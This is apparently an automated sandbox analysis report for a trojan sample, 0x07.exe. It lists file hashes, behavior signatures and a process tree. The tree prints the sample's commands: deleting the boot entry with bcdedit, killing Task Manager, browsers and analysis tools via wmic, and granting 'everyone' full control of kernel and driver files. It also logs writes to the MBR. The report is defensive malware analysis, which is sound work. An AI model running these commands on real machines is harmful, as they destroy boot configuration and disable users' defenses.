Overview
overview
10Static
static
7Trojan/+.exe
windows7-x64
1Trojan/+.exe
windows10-2004-x64
1Trojan/0.9...35.exe
windows7-x64
8Trojan/0.9...35.exe
windows10-2004-x64
8Trojan/000.exe
windows7-x64
Trojan/000.exe
windows10-2004-x64
Trojan/0x07.exe
windows7-x64
8Trojan/0x07.exe
windows10-2004-x64
8Trojan/0xc6666666.exe
windows7-x64
1Trojan/0xc6666666.exe
windows10-2004-x64
1Trojan/10r...er.exe
windows7-x64
6Trojan/10r...er.exe
windows10-2004-x64
6Trojan/10r...et.exe
windows7-x64
Trojan/10r...et.exe
windows10-2004-x64
Trojan/13r...er.exe
windows7-x64
Trojan/13r...er.exe
windows10-2004-x64
6Trojan/13r...et.exe
windows7-x64
3Trojan/13r...et.exe
windows10-2004-x64
7Trojan/2repair.exe
windows7-x64
Trojan/2repair.exe
windows10-2004-x64
Trojan/3PC.exe
windows7-x64
1Trojan/3PC.exe
windows10-2004-x64
1Trojan/4mm...sy.exe
windows7-x64
1Trojan/4mm...sy.exe
windows10-2004-x64
1Trojan/666.exe
windows7-x64
Trojan/666.exe
windows10-2004-x64
Trojan/666...sy.exe
windows7-x64
1Trojan/666...sy.exe
windows10-2004-x64
1Trojan/9re...er.exe
windows7-x64
Trojan/9re...er.exe
windows10-2004-x64
Trojan/9re...et.exe
windows7-x64
3Trojan/9re...et.exe
windows10-2004-x64
7Analysis
-
max time kernel
97s -
max time network
19s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-03-2024 23:32
Behavioral task
behavioral1
Sample
Trojan/+.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Trojan/+.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Trojan/0.950095298700035.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Trojan/0.950095298700035.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
Trojan/000.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
Trojan/000.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
Trojan/0x07.exe
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
Trojan/0x07.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
Trojan/0xc6666666.exe
Resource
win7-20240220-en
Behavioral task
behavioral10
Sample
Trojan/0xc6666666.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
Trojan/10reset/10reset-helper.exe
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
Trojan/10reset/10reset-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral13
Sample
Trojan/10reset/10reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
Trojan/10reset/10reset.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
Trojan/13reset/13reset-helper.exe
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
Trojan/13reset/13reset-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral17
Sample
Trojan/13reset/13reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral18
Sample
Trojan/13reset/13reset.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral19
Sample
Trojan/2repair.exe
Resource
win7-20240221-en
Behavioral task
behavioral20
Sample
Trojan/2repair.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral21
Sample
Trojan/3PC.exe
Resource
win7-20240221-en
Behavioral task
behavioral22
Sample
Trojan/3PC.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral23
Sample
Trojan/4mm psy/4mm psy.exe
Resource
win7-20240215-en
Behavioral task
behavioral24
Sample
Trojan/4mm psy/4mm psy.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral25
Sample
Trojan/666.exe
Resource
win7-20240221-en
Behavioral task
behavioral26
Sample
Trojan/666.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral27
Sample
Trojan/666mm psy/666mm psy.exe
Resource
win7-20240221-en
Behavioral task
behavioral28
Sample
Trojan/666mm psy/666mm psy.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral29
Sample
Trojan/9reset/9RESET-helper.exe
Resource
win7-20240215-en
Behavioral task
behavioral30
Sample
Trojan/9reset/9RESET-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral31
Sample
Trojan/9reset/9reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral32
Sample
Trojan/9reset/9reset.exe
Resource
win10v2004-20240226-en
General
-
Target
Trojan/0x07.exe
-
Size
247KB
-
MD5
733eb0ab951ae42a8d8cca413201e428
-
SHA1
640ffb3ee44eb86afaea92e6c5aa158a5d4aafd1
-
SHA256
52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
-
SHA512
c7cdf77aa881c5dbb2abf17913dbf645fe88e16fa11fa055392d36ccf936fc43050c48feb631e193fe044123a190f123d2d6ff12234c0ff7c8c7c6e290209d8f
-
SSDEEP
3072:xaWEHnqlm+0FEaJSq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMC+89+aPyXiwQ9M1:cWCMm8aMldk1cWQRNTBhz3Yz/qc9M1
Malware Config
Signatures
-
Possible privilege escalation attempt 25 IoCs
Processes:
takeown.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exepid process 1820 takeown.exe 296 icacls.exe 2936 icacls.exe 1320 icacls.exe 1056 takeown.exe 1876 takeown.exe 1960 takeown.exe 1068 takeown.exe 1656 takeown.exe 880 icacls.exe 1792 takeown.exe 1916 icacls.exe 1756 icacls.exe 1280 takeown.exe 2212 icacls.exe 860 icacls.exe 2940 icacls.exe 2340 icacls.exe 2240 takeown.exe 1824 takeown.exe 2324 takeown.exe 2384 icacls.exe 764 takeown.exe 988 takeown.exe 560 icacls.exe -
Executes dropped EXE 2 IoCs
Processes:
winconfig.exeDetectKey.exepid process 2256 winconfig.exe 2652 DetectKey.exe -
Loads dropped DLL 1 IoCs
Processes:
0x07.exepid process 812 0x07.exe -
Modifies file permissions 1 TTPs 25 IoCs
Processes:
takeown.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exetakeown.exetakeown.exeicacls.exeicacls.exeicacls.exepid process 764 takeown.exe 860 icacls.exe 2940 icacls.exe 1068 takeown.exe 2212 icacls.exe 2340 icacls.exe 2324 takeown.exe 2240 takeown.exe 1824 takeown.exe 988 takeown.exe 1916 icacls.exe 1960 takeown.exe 1280 takeown.exe 880 icacls.exe 296 icacls.exe 560 icacls.exe 2936 icacls.exe 1056 takeown.exe 1876 takeown.exe 1792 takeown.exe 1820 takeown.exe 1656 takeown.exe 1320 icacls.exe 1756 icacls.exe 2384 icacls.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 2708 bcdedit.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
0x07.exedescription ioc process File opened for modification \??\PhysicalDrive0 0x07.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
DetectKey.exepid process 2652 DetectKey.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
0x07.exepid process 812 0x07.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WMIC.exeWMIC.exedescription pid process Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe Token: SeSystemProfilePrivilege 2692 WMIC.exe Token: SeSystemtimePrivilege 2692 WMIC.exe Token: SeProfSingleProcessPrivilege 2692 WMIC.exe Token: SeIncBasePriorityPrivilege 2692 WMIC.exe Token: SeCreatePagefilePrivilege 2692 WMIC.exe Token: SeBackupPrivilege 2692 WMIC.exe Token: SeRestorePrivilege 2692 WMIC.exe Token: SeShutdownPrivilege 2692 WMIC.exe Token: SeDebugPrivilege 2692 WMIC.exe Token: SeSystemEnvironmentPrivilege 2692 WMIC.exe Token: SeRemoteShutdownPrivilege 2692 WMIC.exe Token: SeUndockPrivilege 2692 WMIC.exe Token: SeManageVolumePrivilege 2692 WMIC.exe Token: 33 2692 WMIC.exe Token: 34 2692 WMIC.exe Token: 35 2692 WMIC.exe Token: SeIncreaseQuotaPrivilege 2692 WMIC.exe Token: SeSecurityPrivilege 2692 WMIC.exe Token: SeTakeOwnershipPrivilege 2692 WMIC.exe Token: SeLoadDriverPrivilege 2692 WMIC.exe Token: SeSystemProfilePrivilege 2692 WMIC.exe Token: SeSystemtimePrivilege 2692 WMIC.exe Token: SeProfSingleProcessPrivilege 2692 WMIC.exe Token: SeIncBasePriorityPrivilege 2692 WMIC.exe Token: SeCreatePagefilePrivilege 2692 WMIC.exe Token: SeBackupPrivilege 2692 WMIC.exe Token: SeRestorePrivilege 2692 WMIC.exe Token: SeShutdownPrivilege 2692 WMIC.exe Token: SeDebugPrivilege 2692 WMIC.exe Token: SeSystemEnvironmentPrivilege 2692 WMIC.exe Token: SeRemoteShutdownPrivilege 2692 WMIC.exe Token: SeUndockPrivilege 2692 WMIC.exe Token: SeManageVolumePrivilege 2692 WMIC.exe Token: 33 2692 WMIC.exe Token: 34 2692 WMIC.exe Token: 35 2692 WMIC.exe Token: SeIncreaseQuotaPrivilege 2412 WMIC.exe Token: SeSecurityPrivilege 2412 WMIC.exe Token: SeTakeOwnershipPrivilege 2412 WMIC.exe Token: SeLoadDriverPrivilege 2412 WMIC.exe Token: SeSystemProfilePrivilege 2412 WMIC.exe Token: SeSystemtimePrivilege 2412 WMIC.exe Token: SeProfSingleProcessPrivilege 2412 WMIC.exe Token: SeIncBasePriorityPrivilege 2412 WMIC.exe Token: SeCreatePagefilePrivilege 2412 WMIC.exe Token: SeBackupPrivilege 2412 WMIC.exe Token: SeRestorePrivilege 2412 WMIC.exe Token: SeShutdownPrivilege 2412 WMIC.exe Token: SeDebugPrivilege 2412 WMIC.exe Token: SeSystemEnvironmentPrivilege 2412 WMIC.exe Token: SeRemoteShutdownPrivilege 2412 WMIC.exe Token: SeUndockPrivilege 2412 WMIC.exe Token: SeManageVolumePrivilege 2412 WMIC.exe Token: 33 2412 WMIC.exe Token: 34 2412 WMIC.exe Token: 35 2412 WMIC.exe Token: SeIncreaseQuotaPrivilege 2412 WMIC.exe Token: SeSecurityPrivilege 2412 WMIC.exe Token: SeTakeOwnershipPrivilege 2412 WMIC.exe Token: SeLoadDriverPrivilege 2412 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
0x07.exewinconfig.execmd.exedescription pid process target process PID 812 wrote to memory of 2256 812 0x07.exe winconfig.exe PID 812 wrote to memory of 2256 812 0x07.exe winconfig.exe PID 812 wrote to memory of 2256 812 0x07.exe winconfig.exe PID 812 wrote to memory of 2256 812 0x07.exe winconfig.exe PID 2256 wrote to memory of 2076 2256 winconfig.exe cmd.exe PID 2256 wrote to memory of 2076 2256 winconfig.exe cmd.exe PID 2256 wrote to memory of 2076 2256 winconfig.exe cmd.exe PID 2256 wrote to memory of 2076 2256 winconfig.exe cmd.exe PID 2076 wrote to memory of 2652 2076 cmd.exe DetectKey.exe PID 2076 wrote to memory of 2652 2076 cmd.exe DetectKey.exe PID 2076 wrote to memory of 2652 2076 cmd.exe DetectKey.exe PID 2076 wrote to memory of 2652 2076 cmd.exe DetectKey.exe PID 2076 wrote to memory of 2708 2076 cmd.exe bcdedit.exe PID 2076 wrote to memory of 2708 2076 cmd.exe bcdedit.exe PID 2076 wrote to memory of 2708 2076 cmd.exe bcdedit.exe PID 2076 wrote to memory of 2692 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2692 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2692 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2412 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2412 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2412 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2492 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2492 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2492 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2972 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2972 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2972 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2400 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2400 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2400 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2596 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2596 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2596 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2868 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2868 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2868 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2964 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2964 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2964 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2032 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2032 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2032 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2784 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2784 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2784 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2332 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2332 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2332 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 1744 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 1744 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 1744 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2404 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2404 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2404 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2800 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2800 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2800 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 700 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 700 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 700 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 552 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 552 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 552 2076 cmd.exe WMIC.exe PID 2076 wrote to memory of 2764 2076 cmd.exe WMIC.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"1⤵
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\Temp\winconfig.exe"C:\Windows\Temp\winconfig.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8A84.tmp\8A85.tmp\8A86.bat C:\Windows\Temp\winconfig.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Users\Admin\AppData\Roaming\DetectKey.exe"C:\Users\Admin\AppData\Roaming\DetectKey.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2652
-
-
C:\Windows\system32\bcdedit.exebcdedit /delete {current}4⤵
- Modifies boot configuration data using bcdedit
PID:2708
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2412
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='mmc.exe' delete /nointeractive4⤵PID:2492
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='PartAssist.exe' delete /nointeractive4⤵PID:2972
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='control.exe' delete /nointeractive4⤵PID:2400
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:2596
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='Security Task Manager.exe' delete /nointeractive4⤵PID:2868
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='Security Task Manager Protable.exe' delete /nointeractive4⤵PID:2964
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='CCleaner.exe' delete /nointeractive4⤵PID:2032
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp.exe' delete /nointeractive4⤵PID:2784
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp64.exe' delete /nointeractive4⤵PID:2332
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp64a.exe' delete /nointeractive4⤵PID:1744
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:2404
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='regedit.exe' delete /nointeractive4⤵PID:2800
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='iexplore.exe' delete /nointeractive4⤵PID:700
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='chrome.exe' delete /nointeractive4⤵PID:552
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='firefox.exe' delete /nointeractive4⤵PID:2764
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='opera.exe' delete /nointeractive4⤵PID:2668
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='edge.exe' delete /nointeractive4⤵PID:1528
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='msedge.exe' delete /nointeractive4⤵PID:1628
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='brave.exe' delete /nointeractive4⤵PID:1712
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='wmplayer.exe' delete /nointeractive4⤵PID:2304
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='notepad.exe' delete /nointeractive4⤵PID:544
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='notepad++.exe' delete /nointeractive4⤵PID:2068
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:2116
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:2280
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:1156
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:1312
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\taskmgr.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1056
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\hal.dll"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2324
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\winload.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1876
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\ntoskrnl.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1960
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\perfmon.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1792
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\resmon.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1068
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\logonui.exe4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1820
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\taskkill.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:988
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\tasklist.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2240
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\tskill.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1280
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\logonui.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:764
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Process Hacker 2"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1824
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1656
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:1660
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:1012
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:612
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:1216
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2212
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\hal.dll" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:560
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\winload.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1320
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2936
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1916
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\logonui.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:860
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\resmon.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1756
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:880
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2940
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\tskill.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2384
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2340
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:296
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:1604
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:2096
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:2988
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:2620
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2712
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F4⤵PID:2636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2508
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\hal.dll" /grant "everyone":F4⤵PID:2420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2516
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F4⤵PID:2864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2448
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F4⤵PID:2464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2428
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\logonui.exe" /grant "everyone":F4⤵PID:2968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:1784
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\resmon.exe" /grant "everyone":F4⤵PID:1088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2980
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F4⤵PID:1204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2136
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F4⤵PID:2972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:752
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\tskill.exe" /grant "everyone":F4⤵PID:292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2400
-
-
C:\Windows\system32\cacls.execacls "C:\Program Files\Process Hacker 2" /grant "everyone":F4⤵PID:2844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:2828
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\System32\drivers" /grant "everyone":F4⤵PID:2816
-
-
-
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T1⤵PID:2860
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5a645734f3bf4a2682cbaf546789ec0c4
SHA1fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA2563b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d
-
Filesize
87KB
MD5aba9a3cf4e1db4602c25405987b809a6
SHA16cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675
-
Filesize
139KB
MD511d457ee914f72a436fa4a8a8f8446dd
SHA1d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA5124c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b